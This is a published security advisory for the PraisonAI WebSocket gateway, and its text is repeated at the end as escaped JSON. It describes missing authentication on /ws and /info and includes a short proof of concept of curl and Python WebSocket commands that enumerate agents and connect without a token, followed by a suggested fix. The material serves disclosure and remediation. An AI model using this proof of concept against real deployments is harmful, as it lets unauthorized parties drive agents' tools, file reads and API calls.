Vulnerability from github – Published: 2026-04-01 23:28 – Updated: 2026-04-06 22:54

Summary

PraisonAI Has Missing Authentication in WebSocket Gateway

Details

Summary

The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

Details

gateway/server.py:242 (source) -> gateway/server.py:250 (sink)

# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        "agents": list(self._agents.keys()),
        "sessions": len(self._sessions),
        "clients": len(self._clients),
    })

# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
python3 -c "
import asyncio, websockets, json
async def run():
    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
        print('Connected with no auth')
        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
        print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
# {"type": ...} -- server responds, connection accepted

Impact

Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.

Suggested Fix

async def websocket_endpoint(websocket: WebSocket):
    token = websocket.query_params.get("token") or \
            websocket.headers.get("Authorization", "").removeprefix("Bearer ")
    if self._config.auth_token and token != self._config.auth_token:
        await websocket.close(code=4001, reason="Unauthorized")
        return
    await websocket.accept()

Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -\u003e `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n    return JSONResponse({\n        \"agents\": list(self._agents.keys()),\n        \"sessions\": len(self._sessions),\n        \"clients\": len(self._clients),\n    })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n    await websocket.accept()\n    client_id = str(uuid.uuid4())\n    self._clients[client_id] = websocket\n    # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host=\u0027127.0.0.1\u0027, port=8765).start())\" \u0026\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\nimport asyncio, websockets, json\nasync def run():\n    async with websockets.connect(\u0027ws://127.0.0.1:8765/ws\u0027) as ws:\n        print(\u0027Connected with no auth\u0027)\n        await ws.send(json.dumps({\u0027type\u0027: \u0027join\u0027, \u0027agent_id\u0027: \u0027assistant\u0027}))\n        print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n# {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\nAny unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n    token = websocket.query_params.get(\"token\") or \\\n            websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n    if self._config.auth_token and token != self._config.auth_token:\n        await websocket.close(code=4001, reason=\"Unauthorized\")\n        return\n    await websocket.accept()\n```",
